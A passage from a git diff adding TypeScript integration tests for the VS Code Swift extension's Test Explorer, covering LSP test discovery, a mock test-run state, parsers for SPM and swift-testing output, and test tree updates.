await discoverer.getDocumentTests(pkg, file); + + assert.deepStrictEqual(testClasses, []); + }); + + test(WorkspaceTestsRequest.method, async () => { + client.setResponse(WorkspaceTestsRequest.type, []); + + const testClasses = await discoverer.getWorkspaceTests(pkg); + + assert.deepStrictEqual(testClasses, []); + }); + }); + + suite("Unsupported LSP version", () => { + test(TextDocumentTestsRequest.method, async () => { + client.setResponseVersion(TextDocumentTestsRequest.type, 0); + + await assert.rejects(() => discoverer.getDocumentTests(pkg, file)); + }); + + test(WorkspaceTestsRequest.method, async () => { + client.setResponseVersion(WorkspaceTestsRequest.type, 0); + + await assert.rejects(() => discoverer.getWorkspaceTests(pkg)); + }); + + test("missing experimental capabiltity", async () => { + Object.defineProperty(client, "initializeResult", { + get: () => ({ capabilities: {} }), + }); + + await assert.rejects(() => discoverer.getWorkspaceTests(pkg)); + }); + + test("missing specific capability", async () => { + Object.defineProperty(client, "initializeResult", { + get: () => ({ capabilities: { experimental: {} } }), + }); + + await assert.rejects(() => discoverer.getWorkspaceTests(pkg)); + }); + }); + + suite("Non empty responses", () => { + let items: LSPTestItem[]; + let expected: TestClass[]; + + beforeEach(() => { + items = [ + { + id: "topLevelTest()", + label: "topLevelTest()", + disabled: false, + style: "swift-testing", + tags: [], + location: Location.create( + file.fsPath, + Range.create(Position.create(1, 0), Position.create(2, 0)) + ), + children: [], + }, + ]; + + expected = items.map(item => ({ + ...item, + location: client.languageClient.protocol2CodeConverter.asLocation(item.location), + children: [], + })); + }); + + function assertEqual(items: TestClass[], expected: TestClass[]) { + // There is an issue comparing vscode.Uris directly. + // The internal `_fsPath` is not initialized immediately, and so + // could be undefined, or maybe not. + const convertedItems = items.map(item => ({ + ...item, + location: item.location?.uri.path, + range: item.location?.range, + })); + const convertedExpected = expected.map(item => ({ + ...item, + location: item.location?.uri.path, + range: item.location?.range, + })); + assert.deepStrictEqual(convertedItems, convertedExpected); + } + + test(TextDocumentTestsRequest.method, async () => { + client.setResponse(TextDocumentTestsRequest.type, items); + + const testClasses = await discoverer.getDocumentTests(pkg, file); + + assertEqual(testClasses, expected); + }); + + test(WorkspaceTestsRequest.method, async () => { + client.setResponse(WorkspaceTestsRequest.type, items); + + const testClasses = await discoverer.getWorkspaceTests(pkg); + + assertEqual(testClasses, expected); + }); + + test("converts LSP XCTest IDs", async () => { + items = items.map(item => ({ ...item, style: "XCTest" })); + expected = expected.map(item => ({ + ...item, + id: "topLevelTest", + style: "XCTest", + })); + + client.setResponse(WorkspaceTestsRequest.type, items); + + const testClasses = await discoverer.getWorkspaceTests(pkg); + assertEqual(testClasses, expected); + }); + + test("Prepends test target to ID", async () => { + const testTargetName = "TestTargetC99Name"; + expected = expected.map(item => ({ + ...item, + id: `${testTargetName}.topLevelTest()`, + })); + + client.setResponse(WorkspaceTestsRequest.type, items); + + const target: Target = { + c99name: testTargetName, + name: testTargetName, + path: file.fsPath, + type: TargetType.test, + sources: [], + }; + pkg.getTargets = () => Promise.resolve([target]); + pkg.getTarget = () => Promise.resolve(target); + + const testClasses = await discoverer.getWorkspaceTests(pkg); + + assertEqual(testClasses, expected); + }); + }); +}); diff --git a/test/integration-tests/testexplorer/MockTestRunState.ts b/test/integration-tests/testexplorer/MockTestRunState.ts new file mode 100644 index 000000000..8af2f3c7b --- /dev/null +++ b/test/integration-tests/testexplorer/MockTestRunState.ts @@ -0,0 +1,151 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { ITestRunState, TestIssueDiff } from "@src/TestExplorer/TestParsers/TestRunState"; + +/** TestStatus */ +export enum TestStatus { + enqueued = "enqueued", + started = "started", + passed = "passed", + failed = "failed", + skipped = "skipped", +} + +/** TestRunTestItem */ +export interface TestRunTestItem { + name: string; + status: TestStatus; + issues?: { + message: string | vscode.MarkdownString; + isKnown: boolean; + location?: vscode.Location; + diff?: TestIssueDiff; + }[]; + timing?: { duration: number } | { timestamp: number }; + output: string[]; +} + +interface ITestItemFinder { + getIndex(id: string): number; + tests: TestRunTestItem[]; +} + +export class DarwinTestItemFinder implements ITestItemFinder { + tests: TestRunTestItem[] = []; + getIndex(id: string): number { + const index = this.tests.findIndex(item => item.name === id); + if (index === -1) { + this.tests.push({ name: id, status: TestStatus.enqueued, output: [] }); + return this.tests.length - 1; + } + return index; + } +} + +export class NonDarwinTestItemFinder implements ITestItemFinder { + tests: TestRunTestItem[] = []; + getIndex(id: string): number { + const index = this.tests.findIndex(item => item.name.endsWith(id)); + if (index === -1) { + this.tests.push({ name: id, status: TestStatus.enqueued, output: [] }); + return this.tests.length - 1; + } + return index; + } +} + +/** Test implementation of ITestRunState */ +export class TestRunState implements ITestRunState { + excess?: string; + failedTest?: { + testIndex: number; + message: string; + file: string; + lineNumber: number; + complete: boolean; + }; + allOutput: string[] = []; + + public testItemFinder: ITestItemFinder; + + get tests(): TestRunTestItem[] { + return this.testItemFinder.tests; + } + + constructor(darwin: boolean) { + if (darwin) { + this.testItemFinder = new DarwinTestItemFinder(); + } else { + this.testItemFinder = new NonDarwinTestItemFinder(); + } + } + + getTestItemIndex(id: string): number { + return this.testItemFinder.getIndex(id); + } + + started(index: number): void { + this.testItemFinder.tests[index].status = TestStatus.started; + } + + completed(index: number, timing: { duration: number } | { timestamp: number }): void { + this.testItemFinder.tests[index].status = + this.testItemFinder.tests[index].issues !== undefined + ? TestStatus.failed + : TestStatus.passed; + this.testItemFinder.tests[index].timing = timing; + } + + recordIssue( + index: number, + message: string | vscode.MarkdownString, + isKnown: boolean, + location?: vscode.Location, + diff?: TestIssueDiff + ): void { + this.testItemFinder.tests[index].issues = [ + ...(this.testItemFinder.tests[index].issues ?? []), + { message, location, isKnown, diff }, + ]; + this.testItemFinder.tests[index].status = TestStatus.failed; + } + + skipped(index: number): void { + this.testItemFinder.tests[index].status = TestStatus.skipped; + } + + recordOutput(index: number | undefined, output: string): void { + if (index !== undefined) { + this.testItemFinder.tests[index].output.push(output); + } + this.allOutput.push(output); + } + + // started suite + startedSuite() { + // + } + // passed suite + passedSuite(name: string) { + const index = this.testItemFinder.getIndex(name); + this.testItemFinder.tests[index].status = TestStatus.passed; + } + // failed suite + failedSuite(name: string) { + const index = this.testItemFinder.getIndex(name); + this.testItemFinder.tests[index].status = TestStatus.failed; + } +} diff --git a/test/integration-tests/testexplorer/SPMTestListOutputParser.test.ts b/test/integration-tests/testexplorer/SPMTestListOutputParser.test.ts new file mode 100644 index 000000000..60a858f3c --- /dev/null +++ b/test/integration-tests/testexplorer/SPMTestListOutputParser.test.ts @@ -0,0 +1,216 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; + +import { parseTestsFromSwiftTestListOutput } from "@src/TestExplorer/SPMTestDiscovery"; +import { TestClass } from "@src/TestExplorer/TestDiscovery"; + +suite("SPMTestListOutputParser Suite", () => { + const basicXCTest: TestClass = { + id: "", + label: "", + disabled: false, + style: "XCTest", + location: undefined, + children: [], + tags: [{ id: "XCTest" }], + }; + + const basicSwiftTestingTest: TestClass = { + ...basicXCTest, + style: "swift-testing", + tags: [{ id: "swift-testing" }], + }; + + test("Parse single XCTest", async () => { + const tests = parseTestsFromSwiftTestListOutput("TestTarget.XCTestSuite/testXCTest"); + assert.deepEqual(tests, [ + { + ...basicXCTest, + id: "TestTarget", + label: "TestTarget", + tags: [{ id: "test-target" }], + children: [ + { + ...basicXCTest, + id: "TestTarget.XCTestSuite", + label: "XCTestSuite", + children: [ + { + ...basicXCTest, + id: "TestTarget.XCTestSuite/testXCTest", + label: "testXCTest", + }, + ], + }, + ], + }, + ]); + }); + + test("Parse multiple XCTests", async () => { + const tests = parseTestsFromSwiftTestListOutput(` +TestTarget.XCTestSuite/testXCTest +TestTarget.XCTestSuite/testAnotherXCTest +`); + assert.deepEqual(tests, [ + { + ...basicXCTest, + id: "TestTarget", + label: "TestTarget", + tags: [{ id: "test-target" }], + children: [ + { + ...basicXCTest, + id: "TestTarget.XCTestSuite", + label: "XCTestSuite", + children: [ + { + ...basicXCTest, + id: "TestTarget.XCTestSuite/testXCTest", + label: "testXCTest", + }, + { + ...basicXCTest, + id: "TestTarget.XCTestSuite/testAnotherXCTest", + label: "testAnotherXCTest", + }, + ], + }, + ], + }, + ]); + }); + + test("Parse one of each style", async () => { + const tests = parseTestsFromSwiftTestListOutput(` +TestTarget.XCTestSuite/testXCTest +TestTarget.testSwiftTest() +`); + assert.deepEqual(tests, [ + { + ...basicXCTest, + id: "TestTarget", + label: "TestTarget", + tags: [{ id: "test-target" }], + children: [ + { + ...basicXCTest, + id: "TestTarget.XCTestSuite", + label: "XCTestSuite", + children: [ + { + ...basicXCTest, + id: "TestTarget.XCTestSuite/testXCTest", + label: "testXCTest", + }, + ], + }, + { + ...basicSwiftTestingTest, + id: "TestTarget.testSwiftTest()", + label: "testSwiftTest()", + }, + ], + }, + ]); + }); + + test("Parse single top level swift testing test", async () => { + const tests = parseTestsFromSwiftTestListOutput("TestTarget.testSwiftTest()"); + assert.deepEqual(tests, [ + { + ...basicSwiftTestingTest, + id: "TestTarget", + label: "TestTarget", + tags: [{ id: "test-target" }], + children: [ + { + ...basicSwiftTestingTest, + id: "TestTarget.testSwiftTest()", + label: "testSwiftTest()", + }, + ], + }, + ]); + }); + + test("Parse multiple top level swift testing tests", async () => { + const tests = parseTestsFromSwiftTestListOutput(` +TestTarget.testSwiftTest() +TestTarget.testAnotherSwiftTest() +`); + assert.deepEqual(tests, [ + { + ...basicSwiftTestingTest, + id: "TestTarget", + label: "TestTarget", + tags: [{ id: "test-target" }], + children: [ + { + ...basicSwiftTestingTest, + id: "TestTarget.testSwiftTest()", + label: "testSwiftTest()", + }, + { + ...basicSwiftTestingTest, + id: "TestTarget.testAnotherSwiftTest()", + label: "testAnotherSwiftTest()", + }, + ], + }, + ]); + }); + + test("Parse nested swift testing tests", async () => { + const tests = parseTestsFromSwiftTestListOutput(` +TestTarget.RootSuite/NestedSuite/nestedTestInASuite() +TestTarget.RootSuite/aTestInASuite() +`); + assert.deepEqual(tests, [ + { + ...basicSwiftTestingTest, + id: "TestTarget", + label: "TestTarget", + tags: [{ id: "test-target" }], + children: [ + { + ...basicSwiftTestingTest, + id: "TestTarget.RootSuite", + label: "RootSuite", + children: [ + { + ...basicSwiftTestingTest, + id: "TestTarget.RootSuite/NestedSuite", + label: "NestedSuite", + children: [ + { + ...basicSwiftTestingTest, + id: "TestTarget.RootSuite/NestedSuite/nestedTestInASuite()", + label: "nestedTestInASuite()", + }, + ], + }, + { + ...basicSwiftTestingTest, + id: "TestTarget.RootSuite/aTestInASuite()", + label: "aTestInASuite()", + }, + ], + }, + ], + }, + ]); + }); +}); diff --git a/test/integration-tests/testexplorer/SwiftTestingOutputParser.test.ts b/test/integration-tests/testexplorer/SwiftTestingOutputParser.test.ts new file mode 100644 index 000000000..23751e04c --- /dev/null +++ b/test/integration-tests/testexplorer/SwiftTestingOutputParser.test.ts @@ -0,0 +1,340 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { beforeEach } from "mocha"; +import { Readable } from "stream"; +import * as vscode from "vscode"; + +import { + EventMessage, + EventRecord, + EventRecordPayload, + MessageRenderer, + SourceLocation, + SwiftTestEvent, + SwiftTestingOutputParser, + TestSymbol, +} from "@src/TestExplorer/TestParsers/SwiftTestingOutputParser"; + +import { TestRunState, TestStatus } from "./MockTestRunState"; + +class TestEventStream { + constructor(private items: SwiftTestEvent[]) {} + + async start(readable: Readable) { + this.items.forEach(item => { + readable.push(`${JSON.stringify(item)}\n`); + }); + readable.push(null); + } +} + +suite("SwiftTestingOutputParser Suite", () => { + let outputParser: SwiftTestingOutputParser; + let testRunState: TestRunState; + + beforeEach(() => { + outputParser = new SwiftTestingOutputParser( + () => {}, + () => {}, + () => {} + ); + testRunState = new TestRunState(true); + }); + + type ExtractPayload = T extends { payload: infer E } ? E : never; + function testEvent( + name: ExtractPayload["kind"], + testID?: string, + messages?: EventMessage[], + sourceLocation?: SourceLocation, + testCaseID?: string + ): EventRecord { + return { + kind: "event", + version: 0, + payload: { + kind: name, + instant: { absolute: 0, since1970: 0 }, + messages: messages ?? [], + ...{ testID, sourceLocation }, + ...(messages ? { issue: { sourceLocation, isKnown: false } } : {}), + _testCase: { + id: testCaseID ?? testID, + displayName: testCaseID ?? testID, + }, + } as EventRecordPayload, + }; + } + + test("Passed test", async () => { + const events = new TestEventStream([ + testEvent("runStarted"), + testEvent("testCaseStarted", "MyTests.MyTests/testPass()"), + testEvent("testCaseEnded", "MyTests.MyTests/testPass()"), + testEvent("runEnded"), + ]); + + await outputParser.watch("file:///mock/named/pipe", testRunState, events); + + assert.deepEqual(testRunState.tests, [ + { + name: "MyTests.MyTests/testPass()", + status: TestStatus.passed, + timing: { timestamp: 0 }, + output: [], + }, + ]); + }); + + test("Skipped test", async () => { + const events = new TestEventStream([ + testEvent("runStarted"), + testEvent("testSkipped", "MyTests.MyTests/testSkip()"), + testEvent("runEnded"), + ]); + + await outputParser.watch("file:///mock/named/pipe", testRunState, events); + + assert.deepEqual(testRunState.tests, [ + { + name: "MyTests.MyTests/testSkip()", + status: TestStatus.skipped, + output: [], + }, + ]); + }); + + async function performTestFailure(messages: EventMessage[]) { + const issueLocation = { + _filePath: "file:///some/file.swift", + line: 1, + column: 2, + }; + const events = new TestEventStream([ + testEvent("runStarted"), + testEvent("testCaseStarted", "MyTests.MyTests/testFail()"), + testEvent("issueRecorded", "MyTests.MyTests/testFail()", messages, issueLocation), + testEvent("testCaseEnded", "MyTests.MyTests/testFail()"), + testEvent("runEnded"), + ]); + + await outputParser.watch("file:///mock/named/pipe", testRunState, events); + + const renderedMessages = messages.map(message => MessageRenderer.render(message)); + const fullFailureMessage = renderedMessages.join("\n"); + + assert.deepEqual(testRunState.tests, [ + { + name: "MyTests.MyTests/testFail()", + status: TestStatus.failed, + issues: [ + { + message: fullFailureMessage, + location: new vscode.Location( + vscode.Uri.file(issueLocation._filePath), + new vscode.Position(issueLocation.line - 1, issueLocation?.column ?? 0) + ), + isKnown: false, + diff: undefined, + }, + ], + timing: { + timestamp: 0, + }, + output: [], + }, + ]); + } + + test("Failed with an issue that has a comment", async () => { + await performTestFailure([ + { text: "Expectation failed: bar == foo", symbol: TestSymbol.fail }, + { symbol: TestSymbol.details, text: "// One" }, + { symbol: TestSymbol.details, text: "// Two" }, + { symbol: TestSymbol.details, text: "// Three" }, + ]); + }); + + test("Failed test with one issue", async () => { + await performTestFailure([ + { text: "Expectation failed: bar == foo", symbol: TestSymbol.fail }, + ]); + }); + + test("Parameterized test", async () => { + const events = new TestEventStream([ + { + kind: "test", + payload: { + isParameterized: true, + _testCases: [ + { + displayName: "1", + id: "argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [49])])", + }, + { + displayName: "2", + id: "argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [50])])", + }, + ], + id: "MyTests.MyTests/testParameterized()", + kind: "function", + sourceLocation: { + _filePath: "file:///some/file.swift", + line: 1, + column: 2, + }, + name: "testParameterized(_:)", + }, + version: 0, + }, + testEvent("runStarted"), + testEvent( + "testCaseStarted", + "MyTests.MyTests/testParameterized()", + undefined, + undefined, + "argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [49])])" + ), + testEvent( + "testCaseEnded", + "MyTests.MyTests/testParameterized()", + undefined, + undefined, + "argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [49])])" + ), + testEvent( + "testCaseStarted", + "MyTests.MyTests/testParameterized()", + undefined, + undefined, + "argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [50])])" + ), + testEvent( + "testCaseEnded", + "MyTests.MyTests/testParameterized()", + undefined, + undefined, + "argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [50])])" + ), + testEvent("testEnded", "MyTests.MyTests/testParameterized()"), + testEvent("runEnded"), + ]); + + const outputParser = new SwiftTestingOutputParser( + () => {}, + testClass => { + testRunState.testItemFinder.tests.push({ + name: testClass.id, + status: TestStatus.enqueued, + output: [], + }); + }, + () => {} + ); + await outputParser.watch("file:///mock/named/pipe", testRunState, events); + + assert.deepEqual(testRunState.tests, [ + { + name: "MyTests.MyTests/testParameterized()", + status: TestStatus.passed, + timing: { timestamp: 0 }, + output: [], + }, + { + name: "MyTests.MyTests/testParameterized()/argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [49])])", + status: TestStatus.passed, + timing: { timestamp: 0 }, + output: [], + }, + { + name: "MyTests.MyTests/testParameterized()/argumentIDs: Optional([Testing.Test.Case.Argument.ID(bytes: [50])])", + status: TestStatus.passed, + timing: { timestamp: 0 }, + output: [], + }, + ]); + }); + + test("Output is captured", async () => { + const symbol = TestSymbol.pass; + const makeEvent = (kind: ExtractPayload["kind"], testId?: string) => + testEvent(kind, testId, [{ text: kind, symbol }]); + + const events = new TestEventStream([ + makeEvent("runStarted"), + makeEvent("testCaseStarted", "MyTests.MyTests/testOutput()"), + makeEvent("testCaseEnded", "MyTests.MyTests/testOutput()"), + makeEvent("testCaseStarted", "MyTests.MyTests/testOutput2()"), + makeEvent("testCaseEnded", "MyTests.MyTests/testOutput2()"), + makeEvent("runEnded"), + ]); + + await outputParser.watch("file:///mock/named/pipe", testRunState, events); + + assert.deepEqual(testRunState.tests, [ + { + name: "MyTests.MyTests/testOutput()", + output: [], + status: TestStatus.passed, + timing: { + timestamp: 0, + }, + }, + { + name: "MyTests.MyTests/testOutput2()", + output: [], + status: TestStatus.passed, + timing: { + timestamp: 0, + }, + }, + ]); + }); + + test("Issue with isFailure: false isn't recorded", async () => { + const issueLocation = { + _filePath: "file:///some/file.swift", + line: 1, + column: 2, + }; + const issueEvent = testEvent( + "issueRecorded", + "MyTests.MyTests/testWarning()", + [{ text: "This is a warning", symbol: TestSymbol.warning }], + issueLocation + ); + (issueEvent.payload as any).issue.isFailure = false; + + const events = new TestEventStream([ + testEvent("runStarted"), + testEvent("testCaseStarted", "MyTests.MyTests/testWarning()"), + issueEvent, + testEvent("testCaseEnded", "MyTests.MyTests/testWarning()"), + testEvent("runEnded"), + ]); + + await outputParser.watch("file:///mock/named/pipe", testRunState, events); + + assert.deepEqual(testRunState.tests, [ + { + name: "MyTests.MyTests/testWarning()", + status: TestStatus.passed, + timing: { timestamp: 0 }, + output: [], + }, + ]); + }); +}); diff --git a/test/integration-tests/testexplorer/TestDiscovery.test.ts b/test/integration-tests/testexplorer/TestDiscovery.test.ts new file mode 100644 index 000000000..62fe6c318 --- /dev/null +++ b/test/integration-tests/testexplorer/TestDiscovery.test.ts @@ -0,0 +1,302 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { beforeEach } from "mocha"; +import * as vscode from "vscode"; + +import { SwiftPackage, Target, TargetType } from "@src/SwiftPackage"; +import { + TestClass, + updateTests, + updateTestsForTarget, + updateTestsFromClasses, +} from "@src/TestExplorer/TestDiscovery"; +import { reduceTestItemChildren } from "@src/TestExplorer/TestUtils"; +import { TestStyle } from "@src/sourcekit-lsp/extensions"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; + +suite("TestDiscovery Suite", () => { + let testController: vscode.TestController; + let testRunCtr = 0; + + interface SimplifiedTestItem { + id: string; + children: SimplifiedTestItem[]; + tags: readonly { id: string }[]; + } + + function testControllerChildren(collection: vscode.TestItemCollection): SimplifiedTestItem[] { + return reduceTestItemChildren( + collection, + (acc, item) => [ + ...acc, + { + id: item.id, + tags: [...item.tags.map(tag => ({ id: tag.id }))], + children: testControllerChildren(item.children), + }, + ], + [] as SimplifiedTestItem[] + ); + } + + function testItem(id: string, style: TestStyle = "XCTest"): TestClass { + return { + id, + label: id, + disabled: false, + style, + location: undefined, + tags: [], + children: [], + }; + } + + beforeEach(() => { + const id = `TestDiscovery Suite Test Controller ${testRunCtr}`; + testController = vscode.tests.createTestController(id, id); + testRunCtr += 1; + }); + + test("updates tests with empty collection", () => { + updateTests(testController, []); + assert.equal(testController.items.size, 0); + }); + + test("removes test item not included in the new list", () => { + const foo = testController.createTestItem("foo", "foo"); + testController.items.add(foo); + const bar = testController.createTestItem("bar", "bar"); + testController.items.add(bar); + + // `foo` is no longer in the list of new children + updateTests(testController, [testItem("bar")]); + + assert.deepStrictEqual(testControllerChildren(testController.items), [ + { id: "bar", tags: [{ id: "XCTest" }, { id: "runnable" }], children: [] }, + ]); + }); + + test("removes parameterized test result children", () => { + const fileUri = vscode.Uri.file("file:///some/file.swift"); + const parent = testController.createTestItem("parent", "parent", fileUri); + testController.items.add(parent); + + // Simulates a parameterized test result child as its a child with no URI. + const child = testController.createTestItem("child", "child"); + parent.children.add(child); + + updateTests(testController, [], fileUri); + + assert.deepStrictEqual(testControllerChildren(testController.items), []); + }); + + test("merges test item children", () => { + const foo = testController.createTestItem("foo", "foo"); + const baz = testController.createTestItem("baz", "baz"); + foo.children.add(baz); + testController.items.add(foo); + + const newFoo = testItem("foo"); + newFoo.children = [testItem("baz"), testItem("bar")]; + + updateTests(testController, [newFoo]); + + assert.deepStrictEqual(testControllerChildren(testController.items), [ + { + id: "foo", + tags: [{ id: "XCTest" }, { id: "runnable" }], + children: [ + { id: "baz", tags: [{ id: "XCTest" }, { id: "runnable" }], children: [] }, + { id: "bar", tags: [{ id: "XCTest" }, { id: "runnable" }], children: [] }, + ], + }, + ]); + }); + + test("handles moving a test from one file to another", () => { + const startUri = vscode.Uri.file("file:///some/file.swift"); + const test = testController.createTestItem("foo", "foo", startUri); + const bar = testController.createTestItem("bar", "bar"); + test.children.add(bar); + testController.items.add(test); + + const newLocation = new vscode.Location( + vscode.Uri.file("file:///another/file.swift"), + new vscode.Range(new vscode.Position(1, 0), new vscode.Position(2, 0)) + ); + + const newBar = testItem("bar"); + newBar.location = newLocation; + + const newFoo = testItem("foo"); + newFoo.label = "New Label"; + newFoo.location = newLocation; + newFoo.children = [newBar]; + + updateTests(testController, [newFoo]); + + assert.deepStrictEqual(testControllerChildren(testController.items), [ + { + id: "foo", + tags: [{ id: "XCTest" }, { id: "runnable" }], + children: [ + { id: "bar", tags: [{ id: "XCTest" }, { id: "runnable" }], children: [] }, + ], + }, + ]); + assert.deepStrictEqual(testController.items.get("foo")?.uri, newLocation.uri); + assert.deepStrictEqual(testController.items.get("foo")?.label, "New Label"); + }); + + test("handles adding tests that are disambiguated by a file/location", () => { + const child1 = testItem("AppTarget.example(_:)/AppTarget.swift:4:2", "swift-testing"); + const child2 = testItem("AppTarget.example(_:)/AppTarget.swift:16:2", "swift-testing"); + + updateTestsForTarget(testController, { id: "AppTarget", label: "AppTarget" }, [ + child1, + child2, + ]); + + assert.deepStrictEqual(testControllerChildren(testController.items), [ + { + id: "AppTarget", + tags: [{ id: "test-target" }, { id: "runnable" }], + children: [ + { + id: "AppTarget.example(_:)/AppTarget.swift:4:2", + tags: [{ id: "swift-testing" }, { id: "runnable" }], + children: [], + }, + { + id: "AppTarget.example(_:)/AppTarget.swift:16:2", + tags: [{ id: "swift-testing" }, { id: "runnable" }], + children: [], + }, + ], + }, + ]); + }); + + test("handles adding a test to an existing parent when updating with a partial tree", () => { + const child = testItem("AppTarget.AppTests/ChildTests/SubChildTests", "swift-testing"); + + updateTestsForTarget(testController, { id: "AppTarget", label: "AppTarget" }, [child]); + + assert.deepStrictEqual(testControllerChildren(testController.items), [ + { + id: "AppTarget", + tags: [{ id: "test-target" }, { id: "runnable" }], + children: [ + { + id: "AppTarget.AppTests", + tags: [{ id: "swift-testing" }, { id: "runnable" }], + children: [ + { + id: "AppTarget.AppTests/ChildTests", + tags: [{ id: "swift-testing" }, { id: "runnable" }], + children: [ + { + id: "AppTarget.AppTests/ChildTests/SubChildTests", + tags: [{ id: "swift-testing" }, { id: "runnable" }], + children: [], + }, + ], + }, + ], + }, + ], + }, + ]); + }); + + test("updates tests from classes within a swift package", async () => { + const targetFolder = vscode.Uri.file("file:///some/"); + const swiftPackage = await SwiftPackage.create( + targetFolder, + await SwiftToolchain.create("/path/to/extension") + ); + const testTargetName = "TestTarget"; + const target: Target = { + c99name: testTargetName, + name: testTargetName, + path: targetFolder.fsPath, + type: TargetType.test, + sources: [], + }; + swiftPackage.getTargets = () => Promise.resolve([target]); + swiftPackage.getTarget = () => Promise.resolve(target); + + const item = testItem("bar"); + item.location = new vscode.Location( + vscode.Uri.file("file:///some/file.swift"), + new vscode.Range(new vscode.Position(1, 0), new vscode.Position(2, 0)) + ); + await updateTestsFromClasses(testController, swiftPackage, [item]); + + assert.deepStrictEqual(testControllerChildren(testController.items), [ + { + id: "TestTarget", + tags: [{ id: "test-target" }, { id: "runnable" }], + children: [ + { id: "bar", tags: [{ id: "XCTest" }, { id: "runnable" }], children: [] }, + ], + }, + ]); + }); + + test("Children in suites with tags inherit the suite's tags", async () => { + const testSuite = testItem("suite"); + testSuite.tags = [{ id: "rootTag" }]; + const childSuite = testItem("childSuite"); + childSuite.tags = [{ id: "childSuiteTag" }]; + const childTest = testItem("childTest"); + childTest.tags = [{ id: "childTestTag" }]; + childSuite.children = [childTest]; + testSuite.children = [childSuite]; + + updateTests(testController, [testSuite]); + + assert.deepEqual(testControllerChildren(testController.items), [ + { + id: "suite", + tags: [{ id: "XCTest" }, { id: "rootTag" }, { id: "runnable" }], + children: [ + { + id: "childSuite", + tags: [ + { id: "XCTest" }, + { id: "childSuiteTag" }, + { id: "rootTag" }, + { id: "runnable" }, + ], + children: [ + { + id: "childTest", + children: [], + tags: [ + { id: "XCTest" }, + { id: "childTestTag" }, + { id: "childSuiteTag" }, + { id: "rootTag" }, + { id: "runnable" }, + ], + }, + ], + }, + ], + }, + ]); + }); +}); diff --git a/test/integration-tests/testexplorer/TestExplorerIntegration.test.ts b/test/integration-tests/testexplorer/TestExplorerIntegration.test.ts new file mode 100644 index 000000000..70a15e837 --- /dev/null +++ b/test/integration-tests/testexplorer/TestExplorerIntegration.test.ts @@ -0,0 +1,1029 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as fs from "fs"; +import { afterEach, beforeEach } from "mocha"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { runnableTag } from "@src/TestExplorer/TestDiscovery"; +import { TestExplorer } from "@src/TestExplorer/TestExplorer"; +import { TestKind } from "@src/TestExplorer/TestKind"; +import { + MessageRenderer, + TestSymbol, +} from "@src/TestExplorer/TestParsers/SwiftTestingOutputParser"; +import { TestRunProxy } from "@src/TestExplorer/TestRunner"; +import { flattenTestItemCollection, reduceTestItemChildren } from "@src/TestExplorer/TestUtils"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; +import { lineBreakRegex } from "@src/utilities/tasks"; +import { randomString } from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + +import { tag } from "../../tags"; +import { executeTaskAndWaitForResult } from "../../utilities/tasks"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, + withLogging, +} from "../utilities/testutilities"; +import { + assertContains, + assertContainsTrimmed, + assertTestControllerHierarchy, + assertTestResults, + buildStateFromController, + eventPromise, + gatherTests, + runTest as runTestWithLogging, + waitForTestExplorerReady, +} from "./utilities"; + +tag("large").suite("Test Explorer Suite", function () { + let workspaceContext: WorkspaceContext; + let folderContext: FolderContext; + let testExplorer: TestExplorer; + let runTest: ( + testExplorer: TestExplorer, + runProfile: TestKind, + ...tests: string[] + ) => Promise; + + activateExtensionForSuite({ + async setup(ctx) { + // It can take a very long time for sourcekit-lsp to index tests on Windows, + // especially w/ Swift 6.0. Wait for up to 25 minutes for the indexing to complete. + if (process.platform === "win32") { + this.timeout(25 * 60 * 1000); + } + + workspaceContext = ctx; + runTest = runTestWithLogging.bind(null, workspaceContext.logger); + const logger = withLogging(ctx.logger); + folderContext = await logger("Locating defaultPackage folder in root workspace", () => + folderInRootWorkspace("defaultPackage", workspaceContext) + ); + + if (!folderContext) { + throw new Error("Unable to find test explorer"); + } + + testExplorer = await logger( + "Waiting for test explorer to resolve", + () => folderContext.resolvedTestExplorer + ); + + await logger("Executing build all task", async () => + executeTaskAndWaitForResult(await createBuildAllTask(folderContext)) + ); + + // Set up the listener before bringing the text explorer in to focus, + // which starts searching the 